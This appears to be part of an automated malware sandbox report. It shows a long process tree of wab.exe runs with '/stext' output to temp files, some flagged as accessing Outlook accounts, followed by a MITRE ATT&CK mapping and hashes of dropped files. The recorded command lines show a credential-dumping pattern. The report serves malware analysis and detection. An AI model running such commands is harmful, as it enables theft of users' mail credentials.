        
        PID:10272
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10280
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10288
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10296
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10304
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10312
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10320
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10328
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10336
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10344
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10352
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10360
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10368
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10376
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10384
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10392
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10400
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10408
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10416
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10424
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10432
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10440
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10448
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10456
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10464
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10472
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10480
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10488
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10496
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10504
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10512
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10520
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10528
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10536
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10544
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10552
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10560
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10568
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10576
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10584
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10592
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10600
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10608
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10616
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10624
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10632
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10640
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10648
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10656
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10664
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10672
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10680
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10688
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10696
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10704
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10712
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10720
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10728
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10736
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10744
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10752
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10760
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10768
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10776
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10784
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10792
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10800
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10808
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10816
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10824
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10832
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10840
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10848
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10856
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10864
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10872
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10880
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10888
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10896
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10904
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10912
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10920
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10928
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10936
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10944
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10952
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10960
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10968
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10976
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10984
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10992
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11000
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11008
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11016
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11024
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11032
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11040
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11048
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11056
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11064
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11072
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11080
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11088
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11096
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11104
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11112
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11120
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11128
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11144
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11152
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11160
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11176
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11192
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11200
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11208
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11216
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11224
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11232
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11240
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:11248
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\boezfoxdrxoevwgnejccpqtvx"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:11256
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mqrrggifffgjgdurnuoezcneglly"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:10440
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ttyueqylvsvueqjnpccsdvo"
        5⤵
        
        PID:11328
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ttyueqylvsvueqjnpccsdvo"
        5⤵
        
        PID:11336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_d2afctbu.xzn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2afctbu.xzn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Janetts.Hov

Path C:\Users\Admin\AppData\Roaming\Janetts.Hov
Size 454KB
SHA256 44263026cd955d99cdfe251063abfd7cd76b273e5f3c79bf351c0907351881be
MD5 9385be656af3927040ab31acbb702e40
SHA1 cdb6521b3563c45e462803fc285e24d688f69feb
SHA512 853a09c71f146a93f11001422a07c00c2d8ddea41adfc373b3a755abb28d74edbabde255cf0e8b2671bb4aef3dd24f98f4bab7074801a9a36bac99e761a3b00c
